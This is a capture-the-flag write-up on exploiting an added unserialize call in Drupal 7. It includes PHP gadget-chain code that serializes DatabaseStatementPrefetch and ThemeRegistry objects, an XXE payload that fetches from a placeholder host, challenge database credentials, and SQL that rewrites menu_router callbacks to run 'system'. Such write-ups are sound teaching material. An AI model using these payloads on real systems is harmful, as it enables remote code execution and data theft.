The challenge was based on drupal7 with obvious unserialize call added.
Trying to build a chain and the first solution i found was based on following chain:
./includes/bootstrap.inc
abstract class DrupalCacheArray
...
public function __destruct() {
$data = array();
foreach ($this->keysToPersist as $offset => $persist) {
./includes/database/prefetch.inc
class DatabaseStatementPrefetch implements Iterator, DatabaseStatementInterface {
...
public function current() {
if (isset($this->currentRow)) {
switch ($this->fetchStyle) {
...
case PDO::FETCH_CLASS:
$class_name = $this->fetchOptions['class'];
if (!isset($class_name)) {
$class_name = $this->fetchOptions['class'];
}
if (count($this->fetchOptions['constructor_args'])) {
$reflector = new ReflectionClass($class_name);
$result = $reflector->newInstanceArgs($this->fetchOptions['constructor_args']);
}
This chain will allow us to execute any constructor with arbitrary aguments.
Attempt 1
My first attempt was to create DatabaseConnection_sqlite
instance. It's a drupal wrapper around PDO which allows us to create connection and execute initial query using $connection_options['init_commands'])
argument. So we can create a connection to database stored in file /var/www/html/shell.php
and put our payload to it by executing query create table a as select '<?php phpinfo();>'
.
class DatabaseStatementPrefetch {
protected $currentRow = [];
protected $fetchStyle = PDO::FETCH_CLASS;
protected $fetchOptions = array(
'class' => 'DatabaseConnection_sqlite',
'constructor_args' => array(
[
"database" => "/var/www/html/shell.php",
"init_commands" => ["create table a as select '<?php phpinfo();>'b"]
]
),
);
}
class ThemeRegistry {
protected $keysToPersist = array();
public function __construct($a){
$this->keysToPersist = $a;
}
}
echo urlencode(serialize(
new ThemeRegistry(
new DatabaseStatementPrefetch()
)
));
But it failed... I asked author of the challenge and he said that there is no writable directories, so i need to find another way.
Attempt 2
I was to lazy to read drupal source code so i decided to find another way to get RCE by executing arbitrary constructor. My next thought was to read config file using XXE by creating SimpleXMLElement
instance. It doesnt allow to use external entities by default, but we change it using constructor arguments. Moreover, we can set LIBXML_BIGLINES and LIBXML_PARSEHUGE to bypass length restrictions.
class DatabaseStatementPrefetch {
protected $currentRow = [];
protected $fetchStyle = PDO::FETCH_CLASS;
protected $fetchOptions = array(
'class' => 'SimpleXMLElement',
'constructor_args' => array(
'http://yourhost/x.xml',
LIBXML_BIGLINES|LIBXML_DTDLOAD|LIBXML_NOENT|LIBXML_PARSEHUGE,
true
)
),
);
}
class ThemeRegistry {
protected $keysToPersist = array();
public function __construct($a){
$this->keysToPersist = $a;
}
}
echo urlencode(serialize(
new ThemeRegistry(
new DatabaseStatementPrefetch()
)
));
This allows me to read drupal config file and get database config. Now i can crete PDO instances with this config and execute arbitrary SQL queries:
class DatabaseStatementPrefetch {
protected $currentRow = [];
protected $fetchStyle = PDO::FETCH_CLASS;
protected $fetchOptions = array(
'class' => 'PDO',
'constructor_args' => array(
"mysql:",
"droops", "d0n0tdr00psm3",
array(PDO::MYSQL_ATTR_INIT_COMMAND => "select version();")
)
),
);
}
class ThemeRegistry {
protected $keysToPersist = array();
public function __construct($a){
$this->keysToPersist = $a;
}
}
echo urlencode(serialize(
new ThemeRegistry(
new DatabaseStatementPrefetch()
)
));
So i tried to insert my own session into sessions
tables and become admin, but it failed again. I asked author again, and he said that there is no authentication system. Luckily, there is lots of callback functions stored in database, so my final exploit was based on executing two queries (it can be made in one query, but there was payload length restriction):
update menu_router set access_callback='system' where path='system/timezone'"
update droops.menu_router set access_arguments='a:1:{i:0;s:2:\"id\";}'where path like'%zone'
After that request to http://droops.teaser.insomnihack.ch/?q=system/timezone
will execute out payload.